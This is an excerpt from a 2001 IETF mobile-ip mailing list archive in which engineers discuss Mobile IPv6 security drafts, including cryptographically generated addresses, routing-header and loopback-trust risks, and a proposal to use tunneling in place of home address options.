	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 02:12:04 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA11750
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 02:12:05 -0800 (PST)
Received: from fep01-app.kolumbus.fi (fep01-0.kolumbus.fi [193.229.0.41])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA18405
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 02:12:03 -0800 (PST)
Received: from jariws1 ([62.248.155.107]) by fep01-app.kolumbus.fi
          (InterMail vM.5.01.03.08 201-253-122-118-108-20010628) with SMTP
          id <20011118101202.RZYT2704.fep01-app.kolumbus.fi@jariws1>;
          Sun, 18 Nov 2001 12:12:02 +0200
Message-ID: <02fd01c17019$865b2ca0$8a1b6e0a@arenanet.fi>
From: "Jari Arkko" <jari.arkko@kolumbus.fi>
To: <mobile-ip@sunroof.eng.sun.com>, "Pekka Savola" <pekkas@netcore.fi>
Cc: <tuomaura@microsoft.com>, <tuomaura@hotmail.com>
References: <Pine.LNX.4.33.0111180009140.1778-100000@netcore.fi>
Subject: Re: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
Date: Sun, 18 Nov 2001 12:12:27 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

> 3.1: about CAM.  The ACM paper is not available on the website so I can't
> check whether the issue was dealt with, and I may be confused. but I don't
> see how changing one's address to match your key will change anything
> about PKI.  The recipient of the packet still has to have the sender's key
> it can trust. That is, either end will have to obtain (via a directory or
> something) one key it knows that belongs to the other end.  This is one
> sorely missing piece of PKI.

CAM does not need any infrastructure! Your address is (partially)
a hash of your public key, and with the private key you prove you
"own" the address. The "proof" relates to the fact that it is hard
for anyone else to find another public key that would hash to the
same value.

Therefore, no PKI is needed. The sender just sends its public key,
the address is implicit in the packet in the HOA (or similar place),
and a signature by the private key verifies the CoA.

> in effect,
> --8<--
>    A recently discovered technique [OR01] provides an intermediate 
>    level of security between strong public-key authentication and weak 
>    methods such as routability tests. The idea is to form the last 64 
>    bits of the IP address (the interface identifier) by hashing the 
>    host's public signature key. Binding Updates can then be signed 
>    with this key. A secure one-way hash function makes it difficult 

Should have been "this key" => "the private key associated with this public key".

>    for the attacker to come up with a key that matches a given address 
>    and to forge signed BUs.
> --8<--
> 
> Either I'm very confused or I think this should either be:
>  - source node's public signing key for last 64 bits generation, but 
> signing the BU with private key.

That's correct. 

> Editorial comments:

Thanks. We'll fix these.

Jari





From owner-mobile-ip@sunroof.eng.sun.com  Sun Nov 18 05:30:40 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA23174
	for <mobileip-archive@odin.ietf.org>; Sun, 18 Nov 2001 05:30:39 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA21753;
	Sun, 18 Nov 2001 02:29:36 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA29740;
	Sun, 18 Nov 2001 02:29:28 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAIASbLS023633
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 18 Nov 2001 02:28:37 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAIASbqu023632
	for mobile-ip-dist; Sun, 18 Nov 2001 02:28:37 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAIASYLS023625
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 02:28:34 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA19404
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 02:28:15 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA07514
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 03:28:16 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAIASWR13045;
	Sun, 18 Nov 2001 12:28:32 +0200
Date: Sun, 18 Nov 2001 12:28:32 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <mobile-ip@sunroof.eng.sun.com>
cc: <tuomaura@microsoft.com>, <tuomaura@hotmail.com>
Subject: Re: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
In-Reply-To: <02fd01c17019$865b2ca0$8a1b6e0a@arenanet.fi>
Message-ID: <Pine.LNX.4.33.0111181225480.13041-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Sun, 18 Nov 2001, Jari Arkko wrote:
> > 3.1: about CAM.  The ACM paper is not available on the website so I can't
> > check whether the issue was dealt with, and I may be confused. but I don't
> > see how changing one's address to match your key will change anything
> > about PKI.  The recipient of the packet still has to have the sender's key
> > it can trust. That is, either end will have to obtain (via a directory or
> > something) one key it knows that belongs to the other end.  This is one
> > sorely missing piece of PKI.
> 
> CAM does not need any infrastructure! Your address is (partially)
> a hash of your public key, and with the private key you prove you
> "own" the address. The "proof" relates to the fact that it is hard
> for anyone else to find another public key that would hash to the
> same value.
> 
> Therefore, no PKI is needed. The sender just sends its public key,
> the address is implicit in the packet in the HOA (or similar place),
> and a signature by the private key verifies the CoA.
> 
> > in effect,
> > --8<--
> >    A recently discovered technique [OR01] provides an intermediate 
> >    level of security between strong public-key authentication and weak 
> >    methods such as routability tests. The idea is to form the last 64 
> >    bits of the IP address (the interface identifier) by hashing the 
> >    host's public signature key. Binding Updates can then be signed 
> >    with this key. A secure one-way hash function makes it difficult 
> 
> Should have been "this key" => "the private key associated with this public key".

Ok, with this clarification it makes much more sense.  Perhaps I was too 
literal when reading the draft :-)

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From owner-mobile-ip@sunroof.eng.sun.com  Sun Nov 18 06:57:54 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA23611
	for <mobileip-archive@odin.ietf.org>; Sun, 18 Nov 2001 06:57:53 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA29692;
	Sun, 18 Nov 2001 03:56:46 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA03833;
	Sun, 18 Nov 2001 03:56:38 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAIBtoLS023869
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 18 Nov 2001 03:55:50 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAIBtot2023868
	for mobile-ip-dist; Sun, 18 Nov 2001 03:55:50 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAIBtlLS023861
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 03:55:47 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA03803;
	Sun, 18 Nov 2001 03:55:47 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA14475;
	Sun, 18 Nov 2001 03:55:46 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAIBti713728;
	Sun, 18 Nov 2001 13:55:44 +0200
Date: Sun, 18 Nov 2001 13:55:44 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <mobile-ip@sunroof.eng.sun.com>
cc: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Comments on draft-savola-ipv6-rh-ha-security-00.txt
In-Reply-To: <Roam.SIMC.2.0.6.1005916461.21924.nordmark@bebop.france>
Message-ID: <Pine.LNX.4.33.0111181141260.12507-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Fri, 16 Nov 2001, Erik Nordmark wrote:
> > Basically, but there is IMO a significant difference.  Weak-ES vs.  
> > Strong-ES can be seen also as a security risk (and it has been brought up
> > e.g. in Bugzilla before), but that's a known issue.

Note from above, I meant Bugtraq, naturally. :-)

> Yes, but that shows up when IP addresses are somehow trusted for
> access control, like in your 127.0.0.1 example.

IP addresses will always be trusted, to some extent, until there is a
global PKI or some way of trusting, to some extent, an arbitrary node.. or
even working semi-local PKI.  That's life. :-)

127.0.0.1 was just one example, naturally.

> Thus when there are applications which use IP addresses for this
> and different physical interfaces are trusted at different levels
> you run into trouble.

I agree this is the most important in security gateways.

However, different interfaces are not an absolute requirement, but by far
the most popular scenario.

As noted, same-interface rule is not perfect...

An example of the other is a certain kind of a node.  Assume a webserver,
tcp wrappers, portmapper, etc. do a rudimentary form of identification via
IP address (for the latter, there are few alternatives).  It's not
necessarily the only form of authentication.

Say, this web server has two addresses for virtual hosting two sites.
One is more private than the other, although no top secret information is 
conveyed there.  There might be blocks in the firewall for some virtual 
host addresses (from certain netblocks, for example), but not all...

> > However, it can be (normally) abused only if you have local access to the 
> > network, that is, you can do something like:
> > 
> > # route add -host 127.0.0.1 gw a.b.c.d
> > 
> > This is not possible unless you're directly connected with a.b.c.d.  
> > 
> > However, with routing header, you are able to perform in effect the same
> > functionality from everywhere in the internet.  Therein, in this 
> > globality, lies the problem.
> 
> Agreed.
> But if all non-loopback interfaces are trusted at the same level
> and only the loopback interface benefits from more trust, then it
> is sufficient to prevent "leakage" between the loopback interface and
> the other interfaces. This can be done by making sure packets with 127.0.0.1
> as source or destination are dropped when arriving on any non-loopback
> interface and treating the source routed packets as "arriving" even after the
> IP addresses have been swapped, and decapsulated packets should also be
> treated as "arriving" on the physical interface in the general case I think.

Packets re-received through routing header should be subjected to these
checks (I'm not sure if it is 100% required), one of which, is loopback
prevention (as required by addrarch)
 
> In that case the use of an address assigned to interface eth0 on the eth1
> interface doesn't matter since those interfaces are trusted (or distrusted)
> to the same extent. Only the boxes that trust different 
> physical interfaces to different extent need a stronger ES model for reception.
>
>  So I think we are agreeing on the problems here.

Yes.

> We might still be disagreeing on what the default setting should be.

Probably.  My argument is that multi-interface nodes almost always (to my 
knowledge) trust the interfaces to a diffrent extent.

Most access routers, servers with e.g. management, backup or whatever 
interfaces, etc.

Exceptions I can think of quickly are core routers (being routers, these 
rules don't apply to them anyway), and some webservers etc. that have 
multiple interfaces for load balancing, redundancy etc.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords






From owner-mobile-ip@sunroof.eng.sun.com  Sun Nov 18 12:38:00 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA27279
	for <mobileip-archive@odin.ietf.org>; Sun, 18 Nov 2001 12:38:00 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA25842;
	Sun, 18 Nov 2001 09:36:53 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA02525;
	Sun, 18 Nov 2001 09:36:39 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAIHZqLS024309
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 18 Nov 2001 09:35:52 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAIHZqka024308
	for mobile-ip-dist; Sun, 18 Nov 2001 09:35:52 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAIHZmLS024301
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 09:35:48 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA07599
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 09:35:50 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA29009
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 10:36:02 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAIHZku15956
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 19:35:46 +0200
Date: Sun, 18 Nov 2001 19:35:46 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: Re: [mobile-ip] I-D ACTION:draft-nordmark-mobileip-mipv6-hindsight-00.txt
In-Reply-To: <Roam.SIMC.2.0.6.1005843539.7802.nordmark@bebop.france>
Message-ID: <Pine.LNX.4.33.0111181742140.15194-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Thu, 15 Nov 2001, Erik Nordmark wrote:
> Here is a pointer to a mildly provocative I-D suggesting to
> use tunneling instead of home address options and routing headers
> for your perusal.

A few comments:

1.2

--8<--
   Replace the use of the Home Address option conceptually with
   tunneling.  Avoid an increase in packet size by specifying a new
   tunneling header which omits the destination address, since in this
   case the inner and outer destination addresses would be identical.
--8<--

IMO, possible increase in size (the increase could be like ~16 bytes or 
so) is not crucial.  The other issues regarding tunneling (for example, 
hop limit handling) are.

--8<--
   There is also one idea that could be added to Mobile IPv6 at a later
   stage, which is to make the movement detection more explicit.  The
   idea is to configure the routers on each link to advertise a single
   global IPv6 address as the "identity" of the link in each Router
   Advertisement.  This can be done by defining a new Neighbor Discovery
   option.  Thus a Mobile Node when it receives a Router Advertisement
   can immediately tell whether it has moved - the global identity will
   be different for each link.
--8<--

Couldn't the mobile node gather (most of) this information from available
data already?

1) If the prefix in new and old location are the same, the movement can 
be distinguished from router source address; it has to have been DAD'ed, 
as the two routers have to be on-link and reachable respective to each 
other.

2) If the prefix in new and old location is different, you have moved or
the router has been reconfigured.

In case of multiple advertised prefixes this gets more complicated:
 A) if all prefixes are the same in old and new, see 1)
 B) if none of the prefixes are the same in old and new, see 2)
 C) if some prefixes have changed or removed, the situation is unclear.
   - if the source address is different, we have moved
   - if the source address is the same, we probably haven't moved, but it 
is safer to assume we have.
--8<--
4.  USE REGULAR TUNNELING BETWEEN MOBILE NODES

   Currently when two mobile nodes are communicating using route
   optimization the packet ends up containing a destination options
   extension header with a home address option, which gets padded out to
   24 bytes, and a routing header which is also 24 bytes.  The
   suggestion to conceptually use tunneling instead means that for this
   mobile to mobile communication an extra IPv6 header is all that is
   needed.  In addition to the conceptual simplifications of using
   tunneling there is an added bonus in this case; saving of 8 bytes per
   packet.
--8<--

A problem with tunneling like this is that every node that would support 
route optimization would have to accept and (more or less) blindly 
decapsulate such packets.

Tunneling is always hazardous.  An example of a case with 6to4 is 
presented in:

http://www.ietf.org/internet-drafts/draft-savola-ngtrans-6to4-security-00.txt

If this approach is adopted, it must be carefully analyzed.  It might also 
be wise to adopt a MIPv6-specific (or rather Route Optimization -specific) 
format for this. 

For example, one could require that the destination address of an incoming 
tunneled packet must be the home address of the node.  This is easy to 
check.  Source address is more difficult, unless you can make basically 
similar assumptions than with the safe use of home address option: there 
exists a binding cache entry for it, the packet is somehow authenticated 
etc.

Certain precautions seem to be discussed under 5.4.

--8<--
5.3.  Receiving Rules

   A conceptual way of describing the receive side behavior is to expand
   the above extension headers to a regular IPinIP header and then
   process that IPinIP header by the usual rules.  Such a scheme allows
   the sending implementation to use IPinIP in all cases and the use of
   IPinIPnoSRC and IPinIPnoDST are optimizations that the sender can use
   to save bytes on the wire.

   For IPinIPnoSRC this step involves replacing the IPinIPnoSRC header
   with an IPinIP header and copying the source address from the outer
   IP header into that new header while copying the Address field in the
   IPinIPnoSRC to the destination field in the new header and updating
   the payload length etc.

   The same step for IPinIPnoDST just copies the outer IP destination
   into the new inner header and takes the new inner header source from
   the above Address field.
--8<--

Am I correct that we're talking about:

Receiving:

[ IPv6 Header with nxthdr=IPinIPnoSRC ]
  [ IPinIPnoSRC, nxthdr = payload ] 
    [ payload ]

Which would be expanded to:
[ IPv6 Header with nxthdr=IPv6 ] 
  [ IPv6, nxthdr = payload ] *)
    [ payload ]

And passed on to ip_input or whatever as:

  [ IPv6, nxthdr = payload ]         
    [ payload ]

(this sounds rather complex, but three steps instead of just two seem to 
be necessary to ensure ipip decapsulation code will not let anything 
unwanted fall through the cracks -- intermediate nodes such as firewalls 
can easily obtain the final datagram by just replacing cutting out 
IPinIPnoSRC and having certain values in the removed header replace the 
values in the real IPv6 header).

*) here, missing IPv6 values would be collected from somewhere.
Most important of these is Hop Limit.  I'm assuming it would be taken from 
the outer IPv6 header.  So this would be IPinIP tunneling where tunnels 
would be modeled as "equal-hop", not "single-hop".

Equal hop is more secure in single hop in certain scenarios as there you 
can't, for example, inject packets with hop limit = 255 to the 
destination, fooling certain hop limit security precautions.

I didn't analyze rules in 5.4 in detail, but as an overview, they seem to
be properly extensive.  However, if the similar rules were to be applied
to RH/HAO, the end result from the end-nodes would be pretty similar.  On
the other hand, it would be much more easier for the intermediate nodes to
separate this route optimized traffic, which was one of my gripes in RH-HA
draft.

Generic note:

It seems that when a MN wants to talk to a CN, it first needs to send BU
through Home Agent to CN.  No additonal packets can be sent (except via
HA) until BU has been acknowledged, and then it is safe to try tunneling.
If HA is on the other side of the globe, this might take a while.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords







From owner-mobile-ip@sunroof.eng.sun.com  Sun Nov 18 21:52:32 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA02143
	for <mobileip-archive@odin.ietf.org>; Sun, 18 Nov 2001 21:52:32 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA06493;
	Sun, 18 Nov 2001 19:51:07 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA25637;
	Sun, 18 Nov 2001 18:51:11 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJ2nfLS024852
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 18 Nov 2001 18:49:41 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAJ2nf4a024851
	for mobile-ip-dist; Sun, 18 Nov 2001 18:49:41 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJ2nbLS024844
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 18:49:37 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA11516
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 18:49:38 -0800 (PST)
Received: from neogw.osaka.iij.ad.jp (neogw.osaka.iij.ad.jp [202.232.14.130])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA05887
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 19:49:19 -0700 (MST)
Received: by neogw.osaka.iij.ad.jp; id LAA14965; Mon, 19 Nov 2001 11:49:36 +0900 (JST)
Received: from keiichi01.osaka.iij.ad.jp(192.168.65.66) by neogw.osaka.iij.ad.jp via smap (V4.2)
	id xma014879; Mon, 19 Nov 01 11:48:43 +0900
Received: from keiichi01.osaka.iij.ad.jp (localhost.osaka.iij.ad.jp [127.0.0.1])
	by keiichi01.osaka.iij.ad.jp (8.11.6/8.11.6) with ESMTP id fAJ2lju12490
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 11:47:45 +0900 (JST)
	(envelope-from keiichi@iij.ad.jp)
Date: Mon, 19 Nov 2001 11:47:45 +0900
Message-ID: <86wv0nlbn2.wl@keiichi01.osaka.iij.ad.jp>
From: Keiichi SHIMA <keiichi@iij.ad.jp>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Update1 : Draft agenda - IETF52
In-Reply-To: <697DAA22C5004B4596E033803A7CEF444CD0F4@daebe007.NOE.Nokia.com>
References: <697DAA22C5004B4596E033803A7CEF444CD0F4@daebe007.NOE.Nokia.com>
User-Agent: Wanderlust/2.6.0 (Twist And Shout) SEMI/1.14.3 (Ushinoya)
 FLIM/1.14.3 (=?ISO-8859-1?Q?Unebigory=F2mae?=) APEL/10.2 MULE XEmacs/21.1
 (patch 14) (Cuyahoga Valley) (i386--freebsd)
Organization: Internet Initiative Japan Inc.
MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya")
Content-Type: text/plain; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hello Patil,
 
> INT     mobileip IP Routing for Wireless/Mobile Hosts WG
> 		 (Dec 12th, 0900-1130)

Can I make a short presentation of the KAME MIP6 implementation status
and some considerations from implementers?  5 miniuts or less are
enough.

---
Keiichi SHIMA
IIJ Research Laboratory  <keiichi@iij.ad.jp>
KAME Project <keiichi@kame.net>


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 19 04:50:36 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA23730
	for <mobileip-archive@odin.ietf.org>; Mon, 19 Nov 2001 04:50:36 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA22088;
	Mon, 19 Nov 2001 02:49:11 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA00075;
	Mon, 19 Nov 2001 01:49:13 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJ9mHLS025640
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 01:48:17 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAJ9mHEH025639
	for mobile-ip-dist; Mon, 19 Nov 2001 01:48:17 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJ9mELS025632
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 01:48:14 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA00006
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 01:48:14 -0800 (PST)
Received: from ebene.inrialpes.fr (ebene.inrialpes.fr [194.199.18.70])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA04619
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 02:48:26 -0700 (MST)
Received: from inrialpes.fr (glandon.inrialpes.fr [194.199.24.105])
	by ebene.inrialpes.fr (8.11.6/8.11.6) with ESMTP id fAJ9iKr23399;
	Mon, 19 Nov 2001 10:44:20 +0100 (MET)
Message-ID: <3BF8D475.68BC2607@inrialpes.fr>
Date: Mon, 19 Nov 2001 10:44:21 +0100
From: Claude Castelluccia <claude.castelluccia@inrialpes.fr>
X-Mailer: Mozilla 4.7 [en] (X11; I; SunOS 5.8 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
CC: tuomaura@microsoft.com
Subject: Re: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
References: <Pine.LNX.4.33.0111180009140.1778-100000@netcore.fi> <02fd01c17019$865b2ca0$8a1b6e0a@arenanet.fi>
Content-Type: multipart/alternative;
